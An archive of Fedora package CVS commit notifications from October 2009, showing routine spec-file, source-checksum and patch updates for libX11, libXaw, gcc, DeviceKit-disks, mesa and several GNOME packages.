Update of /cvs/pkgs/rpms/libX11/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32628

Modified Files:
	.cvsignore libX11.spec sources 
Log Message:
* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3-1
- libX11 1.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libX11/devel/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	6 Oct 2009 04:24:42 -0000	1.18
+++ .cvsignore	19 Oct 2009 22:00:09 -0000	1.19
@@ -1 +1 @@
-libX11-1.3.tar.bz2
+libX11-1.3.1.tar.bz2


Index: libX11.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libX11/devel/libX11.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- libX11.spec	6 Oct 2009 04:24:42 -0000	1.67
+++ libX11.spec	19 Oct 2009 22:00:10 -0000	1.68
@@ -3,7 +3,7 @@
 
 Summary: Core X11 protocol client library
 Name: libX11
-Version: 1.3
+Version: 1.3.1
 Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
@@ -17,13 +17,11 @@ Source0: http://xorg.freedesktop.org/arc
 
 Patch2: dont-forward-keycode-0.patch
 
-BuildRequires: pkgconfig autoconf automake libtool
 BuildRequires: xorg-x11-util-macros
 BuildRequires: pkgconfig(xproto) >= 7.0.15
 BuildRequires: xorg-x11-xtrans-devel >= 1.0.3-4
 BuildRequires: libxcb-devel >= 1.2
-BuildRequires: libXau-devel
-BuildRequires: libXdmcp-devel
+BuildRequires: pkgconfig(xau) pkgconfig(xdmcp)
 
 Requires: %{name}-common = %{version}-%{release}
 
@@ -43,9 +41,6 @@ Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
-Requires: libXau-devel, libXdmcp-devel
-Requires: pkgconfig
-
 %description devel
 X.Org X11 libX11 development package
 
@@ -74,6 +69,9 @@ find $RPM_BUILD_ROOT -type f -name '*.la
 # FIXME: Don't install Xcms.txt - find out why upstream still ships this.
 find $RPM_BUILD_ROOT -name 'Xcms.txt' -delete
 
+# FIXME package these properly
+rm -rf $RPM_BUILD_ROOT%{_docdir}
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libX11/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	6 Oct 2009 04:24:42 -0000	1.17
+++ sources	19 Oct 2009 22:00:10 -0000	1.18
@@ -1 +1 @@
-0545089013213e90aac19b8f8045d32e  libX11-1.3.tar.bz2
+5e6895c6003f3f0172ba8a07b865d8b2  libX11-1.3.1.tar.bz2



From ajax at fedoraproject.org  Mon Oct 19 22:09:17 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 19 Oct 2009 22:09:17 +0000 (UTC)
Subject: rpms/libXaw/devel .cvsignore, 1.11, 1.12 libXaw.spec, 1.33,
	1.34 sources, 1.10, 1.11
Message-ID: <20091019220917.EE98C11C00DC@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXaw/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4137

Modified Files:
	.cvsignore libXaw.spec sources 
Log Message:
* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 1.0.7-1
- libXaw 1.0.7



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXaw/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	2 Jul 2009 17:41:10 -0000	1.11
+++ .cvsignore	19 Oct 2009 22:09:17 -0000	1.12
@@ -1 +1 @@
-libXaw-1.0.6.tar.bz2
+libXaw-1.0.7.tar.bz2


Index: libXaw.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXaw/devel/libXaw.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- libXaw.spec	13 Aug 2009 05:32:08 -0000	1.33
+++ libXaw.spec	19 Oct 2009 22:09:17 -0000	1.34
@@ -2,8 +2,8 @@
 
 Summary: X Athena Widget Set
 Name: libXaw
-Version: 1.0.6
-Release: 4%{?dist}
+Version: 1.0.7
+Release: 1%{?dist}
 License: MIT
 URL: http://www.x.org
 Group: System Environment/Libraries
@@ -43,9 +43,11 @@ X.Org X11 libXaw development package
 
 %build
 export CFLAGS="$RPM_OPT_FLAGS -Os"
-%configure --disable-xaw8 --disable-static \
+%configure \
+	    --docdir=%{_docdir}/%{name}-%{version}-%{release} \
+	    --disable-xaw8 --disable-static \
 %if !%{with_compat}
-	   --disable-xaw6
+	    --disable-xaw6
 %endif
 make %{?_smp_mflags}
 
@@ -89,8 +91,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libXaw7.so
 %{_libdir}/pkgconfig/xaw7.pc
 %{_mandir}/man3/*.3*
+%dir %{_docdir}/%{name}-%{version}-%{release}
+%{_docdir}/%{name}-%{version}-%{release}/widgets*
 
 %changelog
+* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 1.0.7-1
+- libXaw 1.0.7
+
 * Thu Aug 13 2009 Parag <paragn at fedoraproject.org> 1.0.6-4
 - Merge-review cleanups #226064
 - Updated summary, added Requires: pkgconfig


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXaw/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	2 Jul 2009 17:41:10 -0000	1.10
+++ sources	19 Oct 2009 22:09:17 -0000	1.11
@@ -1 +1 @@
-066218dceb82eb8da0e11d259ed3ceda  libXaw-1.0.6.tar.bz2
+815e74de989ccda684e2baf8d12cf519  libXaw-1.0.7.tar.bz2



From mclasen at fedoraproject.org  Mon Oct 19 22:12:00 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 22:12:00 +0000 (UTC)
Subject: rpms/epiphany-extensions/F-12 .cvsignore, 1.36,
	1.37 epiphany-extensions.spec, 1.69, 1.70 sources, 1.36, 1.37
Message-ID: <20091019221200.71F8A11C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/epiphany-extensions/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5332

Modified Files:
	.cvsignore epiphany-extensions.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/epiphany-extensions/F-12/.cvsignore,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- .cvsignore	24 Sep 2009 13:11:24 -0000	1.36
+++ .cvsignore	19 Oct 2009 22:12:00 -0000	1.37
@@ -1 +1 @@
-epiphany-extensions-2.28.0.tar.bz2
+epiphany-extensions-2.28.1.tar.bz2


Index: epiphany-extensions.spec
===================================================================
RCS file: /cvs/pkgs/rpms/epiphany-extensions/F-12/epiphany-extensions.spec,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- epiphany-extensions.spec	24 Sep 2009 13:11:25 -0000	1.69
+++ epiphany-extensions.spec	19 Oct 2009 22:12:00 -0000	1.70
@@ -3,7 +3,7 @@
 %global ephy_min_version    %{ephy_major}.0
 
 Name:           epiphany-extensions
-Version:        %{ephy_major}.0
+Version:        %{ephy_major}.1
 Release:        1%{?dist}
 Summary:        Extensions for Epiphany, the GNOME web browser
 
@@ -92,6 +92,9 @@ scrollkeeper-update -q ||:
 
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Thu Sep 24 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/epiphany-extensions/F-12/sources,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- sources	24 Sep 2009 13:11:25 -0000	1.36
+++ sources	19 Oct 2009 22:12:00 -0000	1.37
@@ -1 +1 @@
-7fca4c4d487e3a43ef5adb2a764b9aaf  epiphany-extensions-2.28.0.tar.bz2
+565d32a8b94fd023f11a82dcef2bf634  epiphany-extensions-2.28.1.tar.bz2



From alexlan at fedoraproject.org  Mon Oct 19 22:20:45 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Mon, 19 Oct 2009 22:20:45 +0000 (UTC)
Subject: rpms/DeviceKit-disks/F-11 devkit-disks-004-parse-audio.patch, NONE, 
	1.1 DeviceKit-disks.spec, 1.26, 1.27
Message-ID: <20091019222045.E62E811C02A4@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/DeviceKit-disks/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8792

Modified Files:
	DeviceKit-disks.spec 
Added Files:
	devkit-disks-004-parse-audio.patch 
Log Message:
* Fri Oct 09 2009 Harald Hoyer <harald at redhat.com> 004-5%{?dist}
- fixed audio CD handling (#513495)


devkit-disks-004-parse-audio.patch:
 devkit-disks-device.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE devkit-disks-004-parse-audio.patch ---
diff -up DeviceKit-disks-004/src/devkit-disks-device.c.orig DeviceKit-disks-004/src/devkit-disks-device.c
--- DeviceKit-disks-004/src/devkit-disks-device.c.orig	2009-10-09 16:50:37.000000000 +0200
+++ DeviceKit-disks-004/src/devkit-disks-device.c	2009-10-09 16:52:18.000000000 +0200
@@ -2142,7 +2142,7 @@ update_info_optical_disc (DevkitDisksDev
         gint cdrom_session_count;
 
         /* device_is_optical_disc and optical_disc_* */
-        if (devkit_device_has_property (device->priv->d, "ID_CDROM_MEDIA_STATE")) {
+        if (devkit_device_has_property (device->priv->d, "ID_CDROM_MEDIA")) {
                 devkit_disks_device_set_device_is_optical_disc (device, TRUE);
 
                 cdrom_track_count = 0;
@@ -2152,7 +2152,7 @@ update_info_optical_disc (DevkitDisksDev
                 if (devkit_device_has_property (device->priv->d, "ID_CDROM_MEDIA_TRACK_COUNT"))
                         cdrom_track_count = devkit_device_get_property_as_int (device->priv->d, "ID_CDROM_MEDIA_TRACK_COUNT");
                 if (devkit_device_has_property (device->priv->d, "ID_CDROM_MEDIA_TRACK_COUNT_AUDIO"))
-                        cdrom_track_count_audio = devkit_device_get_property_as_int (device->priv->d, "ID_CDROM_MEDIA_TRACK_COUNT");
+                        cdrom_track_count_audio = devkit_device_get_property_as_int (device->priv->d, "ID_CDROM_MEDIA_TRACK_COUNT_AUDIO");
                 if (devkit_device_has_property (device->priv->d, "ID_CDROM_MEDIA_SESSION_COUNT"))
                         cdrom_session_count = devkit_device_get_property_as_int (device->priv->d, "ID_CDROM_MEDIA_SESSION_COUNT");
                 devkit_disks_device_set_optical_disc_num_tracks (device, cdrom_track_count);


Index: DeviceKit-disks.spec
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-disks/F-11/DeviceKit-disks.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- DeviceKit-disks.spec	2 Jul 2009 14:32:41 -0000	1.26
+++ DeviceKit-disks.spec	19 Oct 2009 22:20:45 -0000	1.27
@@ -4,7 +4,7 @@
 %define devicekit_version       002
 %define polkit_version          0.8
 %define parted_version          1.8.8
-%define udev_version            139
+%define udev_version            141-4
 %define mdadm_version           2.6.7
 %define device_mapper_version   1.02
 %define libatasmart_version     0.12
@@ -12,7 +12,7 @@
 Summary: Disk Management Service
 Name: DeviceKit-disks
 Version: 004
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://gitweb.freedesktop.org/?p=users/david/DeviceKit-disks.git;a=summary
@@ -61,6 +61,7 @@ Conflicts: kernel < 2.6.26
 
 Patch0: avoid-ata-smart-check-for-removable-disks.patch
 Patch1: devkit-disks-004-ignore-pc-floppy-drives.patch
+Patch2: devkit-disks-004-parse-audio.patch
 
 %description
 DeviceKit-disks provides a daemon, D-Bus API and command line tools
@@ -80,6 +81,7 @@ D-Bus interface definitions for DeviceKi
 %setup -q
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 
 %build
 %configure
@@ -137,6 +139,9 @@ rm -rf $RPM_BUILD_ROOT
 
 # Note: please don't forget the %{?dist} in the changelog. Thanks
 %changelog
+* Fri Oct 09 2009 Harald Hoyer <harald at redhat.com> 004-5%{?dist}
+- fixed audio CD handling (#513495)
+
 * Thu Jul 02 2009 David Zeuthen <davidz at redhat.com> - 004-4%{?dist}
 - Ignore PC floppy drives (#489083)
 



From jakub at fedoraproject.org  Mon Oct 19 22:22:08 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Mon, 19 Oct 2009 22:22:08 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-ppc-const-builtins.patch, NONE,
	1.1 gcc44-vta-dce-debug-stmt-no-change.patch, NONE,
	1.1 gcc44-vta-sched-deps-debug-spec.patch, NONE, 1.1 .cvsignore,
	1.304, 1.305 gcc.spec, 1.83, 1.84 sources, 1.308,
	1.309 gcc44-pr40521-2.patch, 1.1, NONE gcc44-pr40521.patch, 1.1,
	NONE gcc44-raw-string.patch, 1.3, NONE gcc44-rh529512.patch, 1.1,
	NONE gcc44-unwind-leltgegt.patch, 1.1, NONE
Message-ID: <20091019222208.6799611C00DC@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9238

Modified Files:
	.cvsignore gcc.spec sources 
Added Files:
	gcc44-ppc-const-builtins.patch 
	gcc44-vta-dce-debug-stmt-no-change.patch 
	gcc44-vta-sched-deps-debug-spec.patch 
Removed Files:
	gcc44-pr40521-2.patch gcc44-pr40521.patch 
	gcc44-raw-string.patch gcc44-rh529512.patch 
	gcc44-unwind-leltgegt.patch 
Log Message:
4.4.2-5

gcc44-ppc-const-builtins.patch:
 rs6000.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE gcc44-ppc-const-builtins.patch ---
2009-10-19  Jakub Jelinek  <jakub at redhat.com>

	* config/rs6000/rs6000.c (def_builtin): Set TREE_READONLY instead
	of TREE_CONSTANT.

--- gcc/config/rs6000/rs6000.c	2009-10-15 23:23:25.000000000 +0200
+++ gcc/config/rs6000/rs6000.c	2009-10-19 23:51:26.000000000 +0200
@@ -8530,7 +8530,7 @@ def_builtin (int mask, const char *name,
 
 	  /* const function, function only depends on the inputs.  */
 	case RS6000_BTC_CONST:
-	  TREE_CONSTANT (t) = 1;
+	  TREE_READONLY (t) = 1;
 	  TREE_NOTHROW (t) = 1;
 	  break;
 
@@ -8554,7 +8554,7 @@ def_builtin (int mask, const char *name,
 	      DECL_IS_NOVOPS (t) = 1;
 	    }
 	  else
-	    TREE_CONSTANT (t) = 1;
+	    TREE_READONLY (t) = 1;
 	  break;
 	}
     }

gcc44-vta-dce-debug-stmt-no-change.patch:
 tree-ssa-dce.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE gcc44-vta-dce-debug-stmt-no-change.patch ---
2009-10-19  Alexandre Oliva  <aoliva at redhat.com>

	* tree-ssa-dce.c (eliminate_unnecessary_stmts): Don't regard
	the removal of a debug stmt as a significant change.

--- gcc/tree-ssa-dce.c.orig	2009-10-19 12:29:56.000000000 -0200
+++ gcc/tree-ssa-dce.c	2009-10-19 12:30:36.000000000 -0200
@@ -1129,8 +1129,9 @@ eliminate_unnecessary_stmts (void)
 	  /* If GSI is not necessary then remove it.  */
 	  if (!gimple_plf (stmt, STMT_NECESSARY))
 	    {
+	      if (!is_gimple_debug (stmt))
+		something_changed = true;
 	      remove_dead_stmt (&gsi, bb);
-	      something_changed = true;
 	    }
 	  else if (is_gimple_call (stmt))
 	    {

gcc44-vta-sched-deps-debug-spec.patch:
 haifa-sched.c |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE gcc44-vta-sched-deps-debug-spec.patch ---
2009-10-19  Alexandre Oliva  <aoliva at redhat.com>

	PR debug/41739
	* haifa-sched.c (try_ready): Skip debug deps updating speculation
	status.

--- gcc/haifa-sched.c.orig	2009-10-19 11:28:14.000000000 -0200
+++ gcc/haifa-sched.c	2009-10-19 11:33:19.000000000 -0200
@@ -3754,6 +3754,10 @@ try_ready (rtx next)
 	    {
 	      ds_t ds = DEP_STATUS (dep) & SPECULATIVE;
 
+	      if (DEBUG_INSN_P (DEP_PRO (dep))
+		  && !DEBUG_INSN_P (next))
+		continue;
+
 	      if (first_p)
 		{
 		  first_p = false;


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.304
retrieving revision 1.305
diff -u -p -r1.304 -r1.305
--- .cvsignore	18 Oct 2009 19:46:30 -0000	1.304
+++ .cvsignore	19 Oct 2009 22:22:07 -0000	1.305
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.2-20091018.tar.bz2
+gcc-4.4.2-20091019.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- gcc.spec	18 Oct 2009 19:46:30 -0000	1.83
+++ gcc.spec	19 Oct 2009 22:22:07 -0000	1.84
@@ -1,9 +1,9 @@
-%global DATE 20091018
-%global SVNREV 152967
+%global DATE 20091019
+%global SVNREV 152998
 %global gcc_version 4.4.2
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 4
+%global gcc_release 5
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -157,15 +157,13 @@ Patch11: gcc44-sparc-config-detection.pa
 Patch12: gcc44-libgomp-omp_h-multilib.patch
 Patch13: gcc44-libtool-no-rpath.patch
 Patch14: gcc44-cloog-dl.patch
-Patch15: gcc44-raw-string.patch
 Patch16: gcc44-unwind-debug-hook.patch
 Patch17: gcc44-pr38757.patch
 Patch18: gcc44-libstdc++-docs.patch
 Patch19: gcc44-ppc64-aixdesc.patch
-Patch20: gcc44-pr40521.patch
-Patch21: gcc44-unwind-leltgegt.patch
-Patch22: gcc44-pr40521-2.patch
-Patch23: gcc44-rh529512.patch
+Patch20: gcc44-ppc-const-builtins.patch
+Patch21: gcc44-vta-dce-debug-stmt-no-change.patch
+Patch22: gcc44-vta-sched-deps-debug-spec.patch
 
 Patch1000: fastjar-0.97-segfault.patch
 
@@ -465,17 +463,15 @@ which are required to compile with the G
 %if %{build_cloog}
 %patch14 -p0 -b .cloog-dl~
 %endif
-%patch15 -p0 -b .raw-string~
 %patch16 -p0 -b .unwind-debug-hook~
 %patch17 -p0 -b .pr38757~
 %if %{build_libstdcxx_docs}
 %patch18 -p0 -b .libstdc++-docs~
 %endif
 %patch19 -p0 -b .ppc64-aixdesc~
-%patch20 -p0 -b .pr40521~
-%patch21 -p0 -b .unwind-leltgegt~
-%patch22 -p0 -b .pr40521-2~
-%patch23 -p0 -b .rh529512~
+%patch20 -p0 -b .ppc-const-builtins~
+%patch21 -p0 -b .vta-dce-debug-stmt-no-change~
+%patch22 -p0 -b .vta-sched-deps-debug-spec~
 
 # This testcase doesn't compile.
 rm libjava/testsuite/libjava.lang/PR35020*
@@ -1857,6 +1853,14 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Mon Oct 19 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-5
+- update from gcc-4_4-branch
+  - PR fortran/41755
+  - s390 z10 tuning fixes
+- provide accurate attributes for powerpc builtins (PR target/23983)
+- fix -fcompare-debug differences caused by DCE removal of debug stmts
+- fix updating of speculation status with VTA (PR debug/41739)
+
 * Sun Oct 18 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-4
 - update from gcc-4_4-branch
   - PRs c++/37204, c++/37766, c++/37875, c++/38798, c++/40092,


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.308
retrieving revision 1.309
diff -u -p -r1.308 -r1.309
--- sources	18 Oct 2009 19:46:30 -0000	1.308
+++ sources	19 Oct 2009 22:22:08 -0000	1.309
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-ec0efd8c06411b8416255df19f880444  gcc-4.4.2-20091018.tar.bz2
+a288da14669d6a103dd834387fbe45d3  gcc-4.4.2-20091019.tar.bz2


--- gcc44-pr40521-2.patch DELETED ---


--- gcc44-pr40521.patch DELETED ---


--- gcc44-raw-string.patch DELETED ---


--- gcc44-rh529512.patch DELETED ---


--- gcc44-unwind-leltgegt.patch DELETED ---



From mclasen at fedoraproject.org  Mon Oct 19 22:26:19 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 22:26:19 +0000 (UTC)
Subject: rpms/file-roller/F-12 .cvsignore, 1.93, 1.94 file-roller.spec, 1.157,
	1.158 sources, 1.93, 1.94
Message-ID: <20091019222619.65D4C11C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/file-roller/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10629

Modified Files:
	.cvsignore file-roller.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/file-roller/F-12/.cvsignore,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- .cvsignore	22 Sep 2009 00:51:25 -0000	1.93
+++ .cvsignore	19 Oct 2009 22:26:19 -0000	1.94
@@ -1 +1 @@
-file-roller-2.28.0.tar.bz2
+file-roller-2.28.1.tar.bz2


Index: file-roller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/file-roller/F-12/file-roller.spec,v
retrieving revision 1.157
retrieving revision 1.158
diff -u -p -r1.157 -r1.158
--- file-roller.spec	2 Oct 2009 00:58:13 -0000	1.157
+++ file-roller.spec	19 Oct 2009 22:26:19 -0000	1.158
@@ -10,16 +10,13 @@
 
 Summary:	Tool for viewing and creating archives
 Name:		file-roller
-Version:	2.28.0
-Release: 	2%{?dist}
+Version:	2.28.1
+Release: 	1%{?dist}
 License:	GPLv2+
 Group:		Applications/Archiving
 URL:		http://download.gnome.org/sources/file-roller/
 Source:		http://download.gnome.org/sources/file-roller/2.28/file-roller-%{version}.tar.bz2
 
-# https://bugzilla.gnome.org/show_bug.cgi?id=597058
-Patch0: button-images.patch
-
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: glib2-devel >= %{glib2_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -54,7 +51,6 @@ such as tar or zip files.
 
 %prep
 %setup -q
-%patch0 -p1 -b .button-images
 
 %build
 %configure --disable-scrollkeeper --disable-static
@@ -131,6 +127,9 @@ fi
 %{_datadir}/icons/hicolor/scalable/apps/file-roller.svg
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Thu Oct  1 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-2
 - Respect button-images setting
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/file-roller/F-12/sources,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- sources	22 Sep 2009 00:51:25 -0000	1.93
+++ sources	19 Oct 2009 22:26:19 -0000	1.94
@@ -1 +1 @@
-dcb0c887d5d287a28ebb5c0ea69bedfa  file-roller-2.28.0.tar.bz2
+fcba40a9aa04386dec961a2f776777c5  file-roller-2.28.1.tar.bz2



From ajax at fedoraproject.org  Mon Oct 19 22:30:30 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 19 Oct 2009 22:30:30 +0000 (UTC)
Subject: rpms/libX11/devel libX11.spec,1.68,1.69
Message-ID: <20091019223030.621AB11C029A@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libX11/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11841

Modified Files:
	libX11.spec 
Log Message:
* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 1.3.1-2
- libX11 1.3.1



Index: libX11.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libX11/devel/libX11.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- libX11.spec	19 Oct 2009 22:00:10 -0000	1.68
+++ libX11.spec	19 Oct 2009 22:30:30 -0000	1.69
@@ -4,7 +4,7 @@
 Summary: Core X11 protocol client library
 Name: libX11
 Version: 1.3.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -114,6 +114,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 1.3.1-2
+- libX11 1.3.1
+
 * Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3-1
 - libX11 1.3
 



From ajax at fedoraproject.org  Mon Oct 19 22:32:52 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 19 Oct 2009 22:32:52 +0000 (UTC)
Subject: rpms/mesa/devel .cvsignore, 1.38, 1.39 mesa.spec, 1.255,
	1.256 sources, 1.41, 1.42
Message-ID: <20091019223252.9B66B11C00DC@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/mesa/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12796

Modified Files:
	.cvsignore mesa.spec sources 
Log Message:
* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com>
- xdriinfo 1.0.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mesa/devel/.cvsignore,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- .cvsignore	21 Sep 2009 21:13:40 -0000	1.38
+++ .cvsignore	19 Oct 2009 22:32:52 -0000	1.39
@@ -7,3 +7,4 @@ mesa-20090723.tar.bz2
 mesa-20090813.tar.bz2
 mesa-20090909.tar.bz2
 mesa-20090921.tar.bz2
+xdriinfo-1.0.3.tar.bz2


Index: mesa.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mesa/devel/mesa.spec,v
retrieving revision 1.255
retrieving revision 1.256
diff -u -p -r1.255 -r1.256
--- mesa.spec	21 Sep 2009 21:13:40 -0000	1.255
+++ mesa.spec	19 Oct 2009 22:32:52 -0000	1.256
@@ -12,7 +12,7 @@
 %define _default_patch_fuzz 2
 
 %define manpages gl-manpages-1.0.1
-%define xdriinfo xdriinfo-1.0.2
+%define xdriinfo xdriinfo-1.0.3
 %define gitdate 20090921
 #% define snapshot 
 
@@ -387,6 +387,9 @@ rm -rf $RPM_BUILD_ROOT
 %{demodir}
 
 %changelog
+* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com>
+- xdriinfo 1.0.3
+
 * Mon Sep 21 2009 Adam Jackson <ajax at redhat.com> 7.6-0.13
 - Today's git snap.  Fixes picking in clutter apps on Intel chips (#524338)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mesa/devel/sources,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- sources	21 Sep 2009 21:13:40 -0000	1.41
+++ sources	19 Oct 2009 22:32:52 -0000	1.42
@@ -1,3 +1,4 @@
 6ae05158e678f4594343f32c2ca50515  gl-manpages-1.0.1.tar.bz2
 a5ec51ed9f0a55dc3462d90d52ff899c  xdriinfo-1.0.2.tar.bz2
 0bbe19a02cacc7c48e5c79bd533b8e29  mesa-20090921.tar.bz2
+cb304d1ce562ac48b68eedeba38c662f  xdriinfo-1.0.3.tar.bz2



From mclasen at fedoraproject.org  Mon Oct 19 22:35:35 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 22:35:35 +0000 (UTC)
Subject: rpms/vinagre/F-12 .cvsignore, 1.30, 1.31 sources, 1.30,
	1.31 vinagre.spec, 1.61, 1.62
Message-ID: <20091019223535.526BB11C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/vinagre/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13479

Modified Files:
	.cvsignore sources vinagre.spec 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vinagre/F-12/.cvsignore,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- .cvsignore	23 Sep 2009 23:14:42 -0000	1.30
+++ .cvsignore	19 Oct 2009 22:35:33 -0000	1.31
@@ -1 +1 @@
-vinagre-2.28.0.1.tar.bz2
+vinagre-2.28.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vinagre/F-12/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	23 Sep 2009 23:14:42 -0000	1.30
+++ sources	19 Oct 2009 22:35:34 -0000	1.31
@@ -1 +1 @@
-3413726184c4c2ab0e20319777c87e7c  vinagre-2.28.0.1.tar.bz2
+3fec37a3e20d6f3641d905b580f7306a  vinagre-2.28.1.tar.bz2


Index: vinagre.spec
===================================================================
